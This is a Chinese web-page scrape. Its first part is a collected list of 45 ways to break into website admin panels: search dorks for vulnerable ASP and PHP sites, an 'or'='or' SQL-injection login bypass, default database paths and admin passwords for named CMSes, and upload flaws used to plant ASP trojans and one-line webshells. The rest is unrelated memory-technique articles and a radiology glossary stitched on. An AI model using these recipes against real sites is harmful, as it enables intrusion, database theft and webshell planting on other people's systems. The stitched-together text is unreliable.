45种攻入后台的方法
45种攻入后台的方法（非原创，来自伟大的网络）
1、到Google搜索，site:https://www.doczj.com/doc/8f2068924.html, inurl:asp
2、到Google，搜索一些关键字，edit.asp? 韩国肉鸡为多，多数为MSSQL数据库!
3、利用挖掘鸡和一个ASP木马：
文件名是login.asp
……
路径组是/manage/
关键词是went.asp
用‘or‘='or‘来登陆
4、以下这个方法因为太多人做过，所以一些网站管理员对此都有防范之心了，成功率不高: 关键字：―Co Net MIB Ver 1.0网站后台管理系统‖
帐号密码为?or‘='or‘
5、动感购物系统，呵呵。想到了明小子：
inurl:help.asp登陆，如未注册成为会员!
upLoad_bm1.asp和upLoad_c1.asp这两个随便选个，一般管理员都忽视了这2漏洞。
6、默认数据库地址blogdata/acblog.asa
关键字：acblog
7、百度/htdocs
注册里可以直接上传asa文件！
8、/Database/#newasp.mdb
关键词：NewAsp SiteManageSystem Version
9、用挖掘机
关键字：Powered by WEBBOY
页面：/upfile.asp
10、baidu中搜索关键字V er5.0 Build 0519
(存在上传漏洞)
11、Upfile_Article.asp bbs/upfile.asp
输入关键字：powered by mypower ，
应该是动什么上传漏洞来着？用的人也比较多
估计明小子，挖掘鸡就可以了
12、inurl:winnt\system32\inetsrv\
在google里面输入这个就可以找到很多网站
13、现在GOOGLE搜索关键字intitle:网站小助手inurl:asp
14、关键字：首页最新动态新手指南舞曲音乐下载中心经典文章玩家风采装备购买站内流言友情连接本站论坛
挖掘鸡的关键字添setup.asp
15、VBulletin论坛的数据库
默认数据库地址!
/includes/functions.php
工具:
1)网站猎手。下载地址：百度Google!
2)Google
关键字:
Powered by: vBulletin Version 3.0.1
Powered by: vBulletin Version 3.0.2
Powered by: vBulletin Version 3.0.3
其中一个就可以了
16
1)打开百度或GOOGLE搜索，输入powered by comersus ASP shopping cart
open source。
这是一个商场系统。
2)网站的最底部分，有个Comersus Open Technologies LC。打开看下~~comersus系统~
猜到，comersus.mdb. 是数据库名
数据库都是放在database/ 后的，
所以database/comersus.mdb
comersus_listCategoriesTree.asp换成database/comersus.mdb，不能下载。
那样把前一个‘‘store/‖除去，再加上database/comersus.mdb 试试
都是默认数据库地址
17、无忧传奇官方站点程序。
1)后台管理地址：http://您的域名/msmiradmin/
或者是http://您的域名/admin.asp
2)默认后台管理帐号：msmir
3)默认后台管理密码：msmirmsmir 或msmir
数据库文件为http://您的域名/msmirdata/msmirArticle.mdb
或者是http://您的域名/msmirdata/msmirArticle.asa
数据库连接文件为***********/Conn.asp
也是默认数据库地址。现在传奇4F好多都是这个。呵呵我刚还没事搞了个呢`
18、百度里输入/skins/default/
19、利用挖掘机
关键机:power by Discuz
路径:/wish.php
配合:
Discuz!论坛wish.php远程包含漏洞
……
20、上传漏洞.
工具: 当然还是明小子了
网站猎手或者挖掘鸡了。
关键字powered by mypower
检测的页面或文件插入upfile_photo.asp
这个用的人也N多。。
21、新云漏洞
这个漏洞ACCESS和SQL版通吃。
Google搜索关键字―关于本站–网站帮助–广告合作–下载声明–友情连接–网站地图–管理登录‖
把flash/downfile.asp?url=uploadfile/https://www.doczj.com/doc/8f2068924.html,/conn.asp提交到网站根目录。就可以下载conn.asp
以源码，软件等下载站居多。
大家时常碰到数据库如果前面或者中间+了# 可以用#替换就可以下载了
\database\#newasp.mdb
如：#xzws.mdb 改成#xzws.mdb
收集的。没试过。。。– -！
22、通吃所有商城+动力上传系统
使用工具:挖掘鸡v1.1 明小子
商城入侵:
关键字:选购->加入购物车->去收银台->确认收货人信息->选付款方式->选配送方式->在线支付或下单后汇款->汇款确认->发货->完成
漏洞页面:upload.asp
upfile_flash.asp
还是上传漏洞拿webshell
23、注射漏洞
百度搜索ioj‘s blog
24、动易
列目录
admin_articlerecyclebin.asp
inurl:admin_articlerecyclebin.asp
25、
工具:网站猎手
关键词:inurl:Went.asp
后缀:manage/login.asp
口令:‘or‘='or‘
这软件还不是太熟悉。– -
26、
入侵魔兽私服
需要的工具：ASP木马– -！废话了。
明小子
关键字：All Right Reserved Design:游戏联盟
后台地址：admin/login.asp
数据库的地址：chngame/#chngame.mdb
都默认的。数据库闹下来自己解密吧不多说了。
27、
漏洞是利用管理员iis设置的失误
用baidu 关键字就是比较罕见的脚本名
动网: ReloadForumCache.asp
Leadbbs: makealltopanc.asp
BBSXP: admin_fso.asp
动易: admin_articlerecyclebin.asp
好像比较少吧不太清楚了这个。。
28、
国外站的爆库漏洞
关键字：sad Raven‘s Guestbook
密码地址:/passwd.dat
后台地址:/admin.php
29、
Discuz 4.1.0跨站漏洞
利用工具:1)W AP浏览器
2)W AP编码转换器
关键字:‖intextiscuz! 4.1.0″
WAP浏览器…………………………!!
30、
关键字：尚奈克斯
后台路径/system/manage.asp
直接传ASP木马
挖掘机去。。– -！
31、
工具
1:网站猎手
2:大马
关键字:切勿关闭Cookies功能，否则您将不能登录
插入diy.asp
32、
关键字:Team5 Studio All rights reserved
默认数据库:data/team.mdb
剩下的自己搞。不多说了
33、
工具: 挖掘机辅臣数据库读取器
关键字: 企业简介产品展示产品列表
后缀添加: /database/myszw.mdb
后台地址: admin/Login.asp
都默认的。一样。数据库闹下来自己解密码去。就行了。。– - 34、
关键子XXX inurl:Nclass.asp
……
在‖系统设置‖里写个木马。
会被保存到在config.asp内。
35、
不进后台照样拿动网WEBSHELL
data.asp?action=BackupData 动网数据库备份默认路径
没试过。。。不知道。
36、
工具:网站猎手WebShell
关键字:inurl:Went.asp
后缀:manage/login.asp
弱口令:‘or‘='or‘
也没试过。。。。。。。
37、
关键字owered byCDN_NEWS
随便扫遍文章加一个‘ ，来试探注入点
后台地址:admin_index.asp
用啥工具我就不说了吧。。。。。。。。。
38、
入侵雷池新闻发布系统
关键字:leichinews
去掉leichinews后面的.
打上:admin/uploadPic.asp?actionType=mod&picName=xuanran.asp 再上传马…..
进访问uppic anran.asp 登陆马.
—-
没试过。汗，收集来的。
39、
工具挖掘机就行了。
关键字ower System Of Article Management Ver 3.0 Build 20030628 默认数据库:database\yiuwekdsodksldfslwifds.mdb
后台地址:自己扫描!
工具明小子。- -！怎么又是他啊。
MD5自己解………
(NND这个一扫一大堆。大家可以去试试。。)
40、
一、通过GOOGLE搜索找大量注入点
关键字：asp?id=1 gov.jp/ asp?id=
页数：100
语言：想入侵哪个国家就填什么语言吧
41、
关键字：Powered by:94KKBBS 2005
利用密码找回功能找回admin
提问:ddddd 回答:ddddd
42、
关键字:inurl:Went.asp
后台为manage/login.asp
后台密码: ?or‘=‘ 或者?or‖=‖or‘ 登录进入
默认数据库地址atabase/DataShop.mdb
43、
关键字:****** inurl:readnews.asp
把最后一个/改成\ ，直接暴库，看密码，进后台
随便添加个新闻在标题输入我们的一句话木马
44、
工具:一句话木马
BBsXp 5.0 sp1 管理员猜解器
关键词:powered by bbsxp5.00
进后台，备份一句话马!
45、
关键字：程序核心：BJXSHOP网上开店专家后台:/admin
快速记忆的方法及技巧 首先，要了解最佳记忆条件。一个人若想有良好记忆和较高记忆效率，必须具备以下条件： ◆注意力集中注意力是记忆成功的必要条件，是一切认识过程的开端，是心灵的门户。从心理学角度分析，学习时注意力集中，大脑细胞兴奋点强烈，对事物的印象深刻，易记忆。 ◆记忆目标明确记忆的目标越明确，越具体，记忆的效果就越好。心理学实验证明，两组学生同时看一篇课文，对甲组提出背诵要求，对乙组则不提任何要求，结果是甲组的记效率比乙组高两倍。因此，学习时，强迫自己记住该记住的东西，执意不忘掉它，就会达到最佳记忆效果。 ◆丰富的阅历心理学上有一种迁移理论，即学习某一种知识或技能对另一种知识或技能会产生影响。该规律告诉我们，丰富的阅历对提高记忆效率有着重要的作用。俗话说：脑子越用越灵，越不用越笨。 ◆愉快而稳定的情绪稳定的情绪是记忆的关键，试想一个刚刚与别人生了气的人，其情绪极不稳定时就让他记某些材料，那么他什么也记不住。当大脑皮层的活动稳定时，很容易接受外界传入的信息，并形成清晰的记忆。 ◆适当的营养脑生理的研究表明，记忆力与大脑中的神经化学物质乙酸胆碱的含量有关，而胆碱主要存在于鱼、肉、蛋类中。 ◆合理的休息过度疲劳会减弱脑细胞的活动能力，甚至导致失眠和记忆力减退。因此学习时要劳逸结合，学会休息，学会用脑，避免“开夜车”。 ◆识记要有积极的态度识记积极性水平不同，独立性不同，记忆的效果是不一样的。因此，记忆时可将所记的材料作某种分类。找出它们间的联系，或列成提纲，绘成图表，编成顺口溜等，均可使记忆效率提高。 ◆材料的组织性心理学实验表明，记忆的内容永远填不满大脑，但在短时间的记忆活动时，大脑接收的信息量一般不超过七个单位。不过这“七”可是七个单个体也可是七个词，还可是众多单个体所组成的七个组块。因此，将材料加以组织可加大记忆容量，提高记忆效率。 了解了记忆条件之后，就要掌握一些记忆的基本方法： ◆尽可能动员多种感官参加学习活动 心理学研究表明，人在学习时，只听能记住60%，只看能记住70%，而看、听、
提高孩子记忆力的十种方法 我们知道，孩子的学习成功与否，与记忆能力有十分密切的关系。有些人记忆力较好，有些较差，下面就为大家提供十个方法，让家长可以帮助孩子增强记忆力，欢迎大家参考和学习。 1、眼到、耳到、手到 视觉、听觉分别都能帮助我们记忆东西，但如果将视觉和听觉配合一起，双管齐下，效果会比单单听或看，有较深刻的印象。看书时，可以轻微的声音读出来，让自己听到所读的内容，这样比不做声的看书，保留记忆的时间会较长;此外,右脑，可以在阅读时用指头指着所读的内容，这样较容易使自己精神集中，增强记忆。 2、把记忆分段 将所要记忆的东西先分成小段，再加以记忆。例如读书时，可以把整课内容分成段落，不要太贪心把全部内容一次全记下来。需要按个人的能力，把课文分成小段，有些孩子的记忆能力较低，甚至只能每次记下课文的一两句。 3、轻松 让孩子在轻松舒适的环境中学习，有助其记忆力;相反在紧张的状态下，阻碍记忆。所以家长要注意尽量保持环境的安静，给孩子一个轻松的心情学习。 4、好奇心
在阅读前，先问自己期望在书本中找到甚幺，然后才开始阅读。这样可帮助自己在阅读时有一种寻找的精神，当找到想要的东西时，会留下较长的印象。父母可以帮助孩子在这一方面进行学习，例如在孩子温习前，问问他在课文中所未认识的是甚幺，有甚幺是模糊不肯定的，让他先全部说出来再开始阅读。培养他有目的地在课文中找到心中疑问的解答，而寻找的过程可帮助孩子记忆。 5、模拟 将新学的东西，与从前所学会的旧有知识相比较，找出相同的和相异之处。家长可以多向孩子提问这方面的问题，让孩子说出新学到的东西与从前的有何不同，有何相似，这样使孩子更容易掌握新学的知识。 6、分享 多与别人分享能加强记忆，例如：可让孩子在家中进行角色扮演，作起小老师，把上课所学的东西向家长讲一次，家长就扮演他的听众。孩子经过这样的练习，使所学的事物牢记得更深刻。家长值得注意的是，先学习喜欢听孩子的声音，这样孩子将会更乐意与你分享自己所学的东西。 7、心理伙伴 有专家指出:孩子是否视家长为知己、伙伴，将十分影响孩子的求学心情。家长若能给孩子感到温暖、幽默的感觉，孩子会较喜欢你的陪伴。孩子在心理伙伴的陪同下，感到支持和温暖，更容易得到心理和身体的健康，对学习有正面影响。
一种独特的记忆方法与技巧 神奇的蔡加尼克效应 很多电视剧的忠实粉丝对节目中插播的广告甚为反感，但是，又不得不硬着头皮看完。因为广告插进来时剧情正发展到紧要处，实在不舍得换台，生怕错过了关键部分，于是只能忍着，一条，两条……直到看完第N条后长叹一口气：“还没完呀？” 不得不承认，这广告的插播时间选得着实精妙。其实说穿了，都是广告商摸透了观众的心理，让你欲罢不能。 究竟是一种怎样的心理，让你被人家牵着鼻子走呢？ 这要归结于一种被称为“蔡加尼克效应”的心态。 1927年，心理学家蔡加尼克做了一系列有关记忆的实验。他给参加实验的每个人布置了15～22种难易程度不同的任务，比如写一首自己喜欢的诗词，将一些不同颜色和形状的珠子按一定模式用线串起来，完成拼板，演算数学题等等。完成这些任务所需的时间是大致相等的。其中一半的任务是顺利地完成，而另一
半任务在进行的中途会被打断，要求被试停下来去做其他的事情。在实验结束的时候，要求他们每个人回忆所做过的事情。结果十分有趣，在被回忆出来的任务中，有68%是被中止而未完成的任务，而已完成的任务只占32%。这种对未完成工作的记忆优于对已完成工作的记忆的现象，被称为“蔡加尼克效应”。 之所以会出现这样的现象，是由于我们在做一件事情的时候，会在心里产生一个张力系统，这个系统往往使我们处于紧张的心理状态之中。 当工作没有完成就被中断的时候，这种紧张状态仍然会维持一段时间，使得这个未完成任务一直重重地压在心头。而一旦这个任务已经完成了，那么这种紧张状态就会得以松弛，原来做了的事情就容易被忘记了。 在现实生活中，蔡加尼克效应经常会出现。比如，我们经常会在备忘录上记下重要的会议，但是到最后还是忘记了。因为我们以为记下来了就万事大吉。张力系统松弛下来，最后连备忘录都忘了看。还有，在打电话之前，我们能清楚地记得想要拨打的电话号码，然而打完之后却总也想不起来刚才拨过的号码了，这也是蔡加尼克效应在起作用。 巧妙地利用蔡加尼克效应，恰当地控制好你的张力系统，将有助于你顺利地
能够增强记忆力的方法 1.大脑喜欢色彩 根据最新研究显示，色彩有着影响大脑的认知和分析能力的作用，所以我们在看书的 时候可以用彩色的笔进行标记，这样能够增强文字在脑中的印象，有帮助大脑记忆的作用。 2.大脑集中精力最多25分钟 一个成年人的大脑，集中精力的时间最多是25分钟。所以，在我们准备认真做一件 事情或者开始学习的时候，尽可能控制在20~30分钟内，中间休息3~5分钟再继续。这样 的工作效率，远比连续的持久疲劳战要高得多!感兴趣的朋友可以尝试一下“番茄工作法”。番茄工作法是弗朗西斯科·西里洛于1992年创立的一种相对于GTDGetting Things Done更为微观的时间管理方法。番茄工作法the Pomodoro Technique可以帮助你有效集中精神、专注做任务，还可以促使你高效的完成任务。 3.大脑是一台发动机 大脑像一台发动机，构造精密、复杂，所以，我们必须给它补充能量，保证它的正常 运转。据英国一项研究显示，不合理的饮食结构会影响智商。此外，经常食用垃圾食品、 劣质食物尤其是含化学制品和防腐剂的，破坏健康的同时，也会吃坏智力。 4.大脑需要休息 我们在强迫自己获取到更多的信息的时候，也要适当给我们的大脑放假，这样才更加 有利于我们做事情的时候高度集中。如果我们感觉累的时候，可休息20分钟再继续，这 样的效果是更加的高的。 5.大脑是一个电气化学活动的海洋 医学专家警告，称：如果我们每天的饮水量不达标时，大脑灰质就会开始萎缩，导致 思维能力减弱。由此可见水对大脑的重要性。没错!大脑就像自然界中的海洋，电解质和 化学物质在脑海中漂浮流动。一旦脱水，最直接的影响便是无法集中注意力。而慢性头痛，多半也和脱水撇不清关系。专家建议：一定要保证体内水分充足，每天喝够8杯水。如果 不喜欢喝白水，可以用矿泉水、果汁、咖啡…等交替饮用，加以替代。但最好不要重复饮 用相同类型的饮料。 6.大脑喜欢问题 当我们在学习或阅读过程中，脑海中会时不时的飘出若干疑问，这时大脑会自动搜索 答案，有效提高阅读或者学习的效率。单从这个角度来看，一个好问题，远胜过是个答案。 7.大脑也有上班的黄金时间
影像学各种“征象”综合 ０１、视神经轨道征： 表现:在增强的横断面视神经CT或脂肪抑制的T1加权磁共振图像上最明显. 在这些图像上,视神经表现为相对于其两侧强化的视神经鞘的条状低密度(信号)带. 解释: 视神经轨道征最常用于描述视神经鞘脑膜瘤.视神经鞘脑膜瘤常表现为节段性或弥漫性视神经鞘增厚.当注入增强剂后,视神经在CT或MR图像上表现为非强化的低密度(信号)线样结构,被周围强化的脑膜瘤包绕.在横断面或矢状面上产生类似轨道的征像,其两条轨道即被低信号的视神经分隔开的肿瘤的两部分.在冠状面上表现为炸面包圈样结构.当肿瘤发生线样钙化时,该征像在非增强CT 上也可看到,但不如增强CT者常见. 讨论: 轨道征用于鉴别视神经胶质瘤与视神经鞘脑膜瘤.视神经胶质瘤无论何种生长 类型,都与视神经紧密相连,因而肿瘤与视神经之间没有明确界限,表现为视神经-鞘结构均质性增大,没有可分辨的低密度视神经结构. 视神经鞘脑膜瘤起源于沿视神经鞘的蛛网膜上皮细胞,早期于硬膜下生长,包绕视神经,而不侵犯视神经,沿视神经生长,位于眶内、视神经管内、颅内视神经管开口者都可具轨道征表现。于增强CT表现为a）视神经低密度，b）脑膜瘤组织肿块样高密度，c）与视神经邻近的平行线样高密度增强区。 轨道征并非特异性征像,也可见于其他眶内疾病,如眶内炎性假瘤,视周神经炎,结节病,白血病,淋巴瘤,转移瘤,视周出血等,均需注意鉴别. 02脑膜尾征，白质塌陷征 这是脑外肿瘤，特别是脑膜瘤与脑内肿瘤相鉴别非常重要的两个征象增强冠状面示白质坍陷征（箭头）及脑膜尾征（三角）。 Gd-DTPA时，脑膜瘤可显示肿瘤相邻脑膜强化，多呈短、细规则的条状高信号的强化影，此即脑膜尾征。其形成原因可能与脑膜瘤长期刺激压迫邻近的脑膜，造成脑膜充血有关；也可能为脑膜瘤直接侵犯脑膜所致。脑膜尾征并不是脑膜瘤所独有的征象，只要病变侵犯或长期刺激脑膜均可形成脑膜尾征，如脑膜转移瘤、神经瘤等。白质塌陷征可理解为脑外肿瘤对脑实质的推移压迫。另外其它一些脑外肿瘤的特点还有邻近肿瘤的蛛网膜下腔增宽或脑沟、池内异常占位
提高孩子学习英语记忆力的十大方法 记忆方法是因人而异的，有的擅长看(视觉型)，有的人擅长听(听觉型)，有的人擅长用嘴和手(运动型)等等；比较常见的是混合型的记忆方法，而这种方法的记忆效果最佳： 有位实验者曾经用这三种方法让三组来自不同家庭的孩子记住10张画的内容。 对第一组孩子，他只告诉他们画上画了些什么，并不给看画。 对第二组孩子正好相反。只给他们看画，可是不再给他们讲每张画画了些什么。 对第三组孩子是又让听又让看，实验者不但给他们讲画的内容，同时给他们看那些画。 过了一段时间，实验者分别问这三组孩子记住了多少画的内容。结果第一组记住的最少，只有60%；第二组稍多，记住了70%；第三组记住最多，达到86%！这说明只听不看的孩子记得最少，只看不听的孩子记得稍多一点，又听又看的孩子记得最多。 这还仅仅是两种感觉器官并用，记忆效果就比只用其中一种好得多。因此，如果帮助孩子把所有感觉器官一齐调动起来，记忆效果会更好。 科学研究表明，人的大脑的功能只有很小的一部分被开发和利用，人的脑细胞还没有得到充分的使用。人的许多能力的培养，大多要从掌握方法做起，人的记忆能力之差距，在很大程度上是由记忆方法的差距引起的。人们通常使用的记忆方法，多是运用了大脑左半球的一部分功能而已，右半球的功能只是偶尔被利用一下。
人的记忆潜能从理论上讲是无限的。有的人记忆力好得出奇，是因为他们能天长日久地训练自己的记忆力，脑子中的记忆方法越来越多，结果，记忆力就越来越好。因此，要想成功地改进孩子的记忆能力，关键在于要加强记忆方法的训练： 方法(一)、有的放矢——明确近期记忆目标 人不管做什么事，都要有目标。这个目标，诱惑着人，引导着人，使人步入更高的境界。同样，家长必须使孩子清醒地意识到，自己的学习总是有一定的目标的，这是成功地改进记忆效能的一个前提和基础。 那么，如何确立记忆的近期目标呢？关键是要学会安排记忆进程，把长远目标划分成若干不同的近期目标，一个一个地实现，一个一个地跨跃。每当达到了一个近期目标，就能增强信心，改进记忆效能，提高记忆速度。当达到了所有的近期目标后，苦心积虑所要追求的长远目标也就胜利在望了。而对长远目标的靠近，无疑会更强有力地刺激记忆效能，从而更有效地提高记忆能力。 ◎举例说明 例如，一个小学生要学习英语，倘若笼统地确立一个目标，将来出国深造——他会感到前途渺茫；如果确定不同的近期目标，先完成容易的部分，如每天学习10个名词，进而掌握动词、形容词、副词等，他就会感到信心十足，感到学习语言不再是枯燥乏味的工作。 每一次克服了困难，每一次获得了成功，自信心便会随之增长，而自信心同时又鼓舞他去争取更大的成功。各种各样的学习和记忆活动，都可以运用这种方法，化整为零，使长远目标分解成若干不同的近期目标，由易而难，由浅入深，不断地刺激学习兴趣，增强记忆力。在学习过程中，小学生给自己提出一个记忆目标，充分利用有意记忆，可以使记忆效果大大提高。
记忆方法大全[记忆方法的简单技巧] 关于记忆术 第一章：简单记忆方法 一．代码法：数字与真实的物体相联系，然后构筑场景来进行数字记忆具体对应的代码可以自己创造，一般我们这样规定： 1. 领带tie 2. 诺言Noah（一个着胡子的男人） 3. 妈Ma 4. 裸麦rye 5. 法律law 6. 鞋子shoe 7. 牛cow
8. 常春藤ivy 9. 蜜蜂bee 10. 脚趾toes 这里的代码取得都是单字音的词语 二．数字法：数字对应音标，音标组成发音对应的词语，通过词语记住数字 1=t或d或th 2=n（因为n两竖） 3=m 4=r（four尾字母） 5=l（五指并拢手型如l） 6=j、sh、ch轻音g 7=k，重音c，重音g
8=f、v、ph 9=p、b 0=z，s、轻音c 元音不需要考虑，因为我们只需要记住发音就行 如[1**********]5 941为prt音标对应parrot鹦鹉，140为trz对应tears眼泪，494对应rpr为robber强盗，275对应nkl为nickel镍，联想四个词为一个场景为：鹦鹉流眼泪，强盗在偷镍。我很快便可以记住这一串数字，只需将词汇转换成数字即可。此法需要对数字和音标的对应关系很熟练才可以，此方法需要有词汇基础。 三．数字联想：数字的序号所对应的代码和序号的物体构成夸张联想，如1.西瓜 2.芒果 3.龙之谷 所以可以这样联想：西瓜戴个领带，芒果在吃诺亚，妈妈在玩龙之谷，这些画面在脑中过一遍，你很容易记得序号和物品的对应关系
四．联想法：1.实物联想：如意大利版图像一只靴子 2.字词联想：如五大湖：休伦湖（Huron）、安大略湖（Ontario）、密西根湖（Michigan）、伊利湖（Erie）、苏必略湖（Superior）首字母结合起来是HOMES家 3.经验联想：将事物和自己熟悉的东西联系起来，如富士山高度12365米，12月365天。 4.荒谬情景联想：把各种不相关联的事物以完全荒谬的画面联系到一起来，构成情景并记忆。如：按顺序记住一下词语：飞机、大树、信封、戒指、水桶、唱歌、篮 球、烤肠、星星、鼻子。乍一看似乎记住会很困难，按顺序记住更加难，但是，如果你这样联想：飞机撞到了大树，树上掉下了一个信封，信封里有一枚戒指，戒指上有一个大水桶，水桶在大声唱歌，歌声引来了一个篮球，篮球嘴里叼着一根烤肠，烤肠上挂着一颗星星，星星有个巨大的鼻子。（其他的夸张联想也可以，越荒谬记忆效果越好）现在你一定能很轻松的记住这一系列物品了吧。
九个方法增强记忆力 玩思维游戏：当你在为自己的一天做规划时，可以通过创意构想把这一切联系起来。记忆大赛冠军得主，《记忆力：你能养成好记性――美国记忆高手教你怎么做》一书的作者斯考特·海格伍德说：“要说出自己必须记得买牛奶，还要带儿子看牙医，你应该通过想象儿子喝牛奶，牛奶漫过他的牙齿，沉积钙质，将这些任务联系在一起。” 闻闻玫瑰花香：德国的一项新研究将一些玩配对扑克牌的学生分成两组。让其中一组在游戏时先闻一种玫瑰花香，接着在睡前再闻一次；而另一组则不。当他们醒来时，闻花香的一组学生记忆配对扑克的状况较好。因此，为了增进记忆力，时常闻闻玫瑰花香，好处颇多。 左右水平转动眼睛30秒：英国研究人员称，这种锻炼能帮助你记忆单词。至于原因，专家认为是水平转动眼球会让左右脑相互作用，这对修复记忆很重要。 冥想的同时深呼吸：提前冥想有助于让人聚精会神。加拿大蒙特利尔·道格拉斯研究所人类压力研究中心主任索尼亚·鲁皮恩说，注意力是记忆的大门。以前不曾想过吧？在安静的房间里，坐在或者躺在地板上，双手放在胃部，深呼吸，专注于这一份沉静，每天冥想至少10分钟。 学习一种新语言：美国生命发展心理学实验室主任、布兰迪斯大学心理学教授玛格·拉齐曼博士认为，新思路会帮你理清头脑中的纷杂思绪，比如学习一门外语。不必特别费事，也无需熟练掌握，只要通过教育光盘学习就可以。也可以尝试一种新爱好，如烹调或者舞蹈。 睡个好觉：这样会让你精神抖擞，也可以更好地面对需要记忆支配身体的任何情境。以色列女执事医疗中心的研究显示，小脑控制速度和准确度，睡眠充足后小脑的活性尤其强。 无论何时别忘了“回头看”：如果你在准备离开的时候注意回头看一眼，这周就不会连续4次遭遇忘记车停哪的尴尬了。什么时候都能这样就更好了。 换只手刷牙：不仅如此，只要改变日常习惯，比如开始一种新的工作方式，就能刺激大脑中神经细胞的生长。 每周3次，每次至少30分钟的运动：哥伦比亚大学科学家的一项新研究显示，锻炼可增进大脑区域一种神经细胞的生长，这种细胞和防止记忆缺失密切相关。专家认为，从事任何有氧锻炼或者强化力量的训练都不错。 增强记忆力的方法和窍门 增强记忆力有3种因素影响、10种方法、8种窍门。 3种因素一般是针对老年人“延缓记忆力衰退”来说的。它们分别是：情绪、饮食、保健。如果一个人整天焦虑不安、十分忧愁的话，那么，就会加快他的记忆力衰退的速度；如果一个人每天都笑嘻嘻的，情绪及其乐观的话，那么，就会延缓他的记忆力衰退的速度。如果一个人每天都抽烟、喝酒的话，那么，就会加快他的记忆力衰退的速度;如果一个人在平时会适量地吃一些营养品的话，那么，就会延缓他的记忆力衰退的速度。如果一个人不爱思考、不爱锻炼的话，那么，就会加快他的记忆力衰退的速度;如果一个人勤于动脑、锻炼的话，
高效记忆的方法和技巧 今天小编想和同学们分享的是高效记忆的方法和技巧，希望可以帮助到有需要的同学，也希望同学们能够喜欢，下面就让我们一起来学习一下吧。 理学研究发现，一天当中，人通常有4个记忆的黄金时段，正在求学的青少年朋友们应该知道大脑记忆的这些最佳时期，以便使你在学习上取得事半功倍的效果。 高效记忆：四个黄金记忆时间段 1、第一黄金时段：6-7点钟 这段时间，血压升高，心跳加快，体温上升，肾上腺皮质激素分泌开始增加，此时机体已经苏醒，想睡也睡不安稳了，此时是第一次最佳记忆时期。7点钟左右，肾上腺皮质激素的分泌进人高潮，体温上升，血液加速流动，免疫功能加强，因为大脑经过了一夜的休息，正处于工作效率的高峰，利用这一段时间学习一些难记但是又必须记住的东西比较适宜。 2、第二黄金时段：8-10点钟 这段时间，人体完全进人兴奋状态，肝脏已将身体内的毒素排尽，大脑记忆力很强，此时是第二次最佳记忆时期。9点钟时，神经兴奋性提高，记忆仍保持最佳状态，疾病感染率降低，对痛觉最不敏感。此时心脏的功能最好，精力旺盛。 10点钟，人的积极性上升，热情将持续到午饭，是人体的第一
次最佳状态。此时是内向性格的人创造力最旺盛时刻，任何工作都能胜任，千万不要虚度。 一句话，上午8-10点钟这一时段，内肾上腺等激素分泌旺盛，精力充沛，大脑具有严谨而周密的思考能力，认记能力和处理能力较强，是攻克难题的好时机。 3、第三黄金时段：18-20点钟 18点钟，可以利用这段时间来回顾、复习当天学过的东西，以加深印象。这也是整理笔记的黄金时机。此时痛感重新下降，人的体力活动和耐力达到一天中的最高峰，运动的愿望上升。运动员此时应更加努力训练，可取得好的运动和训练成绩。 4、第四黄金时段：21点钟 这段时间直到临睡前为一天中最佳的记忆时间。研究发现，此时也是记忆力最佳时期，具有很高的效率。利用这段时间来加深记忆印象，特别对一些难以记忆的东西加以复习，最容易记牢，不易遗忘。 7种轻松、简单、快速的高效记忆方法 1.写出你的问题 当我们执行复杂的任务时，我们会依靠自己的工作记忆，这是对信息进行暂时加工和贮存的能量有限的记忆系统。一种有效的工作记忆有助于学习、计划、推理等其他方面。 通过书面表达情感是间接增加工作记忆容量的方法之一。你每个月分几次花20分钟坐下来，写写发生在你身上的伤心事，心理学家目前还没不知道是什么原因，但这种方法确实有显著的效果。
增强记忆力的10种方法 记忆方法是因人而异的，有的擅长看(视觉型)，有的人擅长听(听觉型)，有的人擅长用嘴和手(运动型)等等；比较常见的是混合型的记忆方法，而这种方法的记忆效果最佳。 科学研究表明，人的大脑的功能只有很小的一部分被开发和利用，人的脑细胞还没有得到充分的使用。人的许多能力的培养，大多要从掌握方法做起，人的记忆能力之差距，在很大程度上是由记忆方法的差距引起的。人们通常使用的记忆方法，多是运用了大脑左半球的一部分功能而已，右半球的功能只是偶尔被利用一下。 人的记忆潜能从理论上讲是无限的。有的人记忆力好得出奇，是因为他们能天长日久地训练自己的记忆力，脑子中的记忆方法越来越多，结果，记忆力就越来越好。因此，要想成功地改进孩子的记忆能力，关键在于要加强记忆方法的训练。 1在理解基础上进行记忆 在积极思考、达到深刻理解的基础上记忆材料的方法，叫做理解记忆法。理解记忆的基本条件是对材料进行思维加工。 有些材料，如科学概念、范畴、定理、法则和规律、历史事件、文艺作品等，都是有意义的。人们记忆这类材料时，一般都不采取逐字逐句强记硬背的方式，而是首先理解其基本含义，即借助已有的知识经验，通过思维进行分析综合，把握材料各部分的特点和内在的逻辑联系，使之纳入已有的知识结构，以便保持在记忆中。理解记忆的全面性、牢固性、精确性及迅速有效性，依赖于小学生对材料理解的程度。理解记忆的效果优于机械记忆。 ◎实验证明 德国著名心理学家艾宾浩斯在做记忆的实验中发现：为了记住12个无意义音节，平均需要重复历5次；为了记住36个无意义音节，需重复54次；而记忆六首诗中的480个音节，平均只需要重复8次！这个实验告诉我们：凡是理解了的知识，就能记得迅速、全面而牢固。不然，愣是死记硬背，那真是费力不讨好。 理解记忆是以理解材料内容为前提的。这种理解不仅指看懂了材料，而且包括搞懂了材料各部分之间的逻辑联系，以及该材料和以前的知识经验之间的关系。因此，在记忆材料的时候，我们要尽可能向孩子强调先理解、后记忆的要求，而不要从一开始就逐字逐句地死记。 2利用直观形象进行记忆 根据心理学家的统计和研究，小学生擅长于具体形象的记忆。直观、形象的东西，尤其是视觉映像，容易给孩子留下深刻的印象。 因此，当孩子记忆一些抽象的东西，尽可能与具体、形象的东西结合起来，在形象的基础上，概括出具有普遍性的结论。
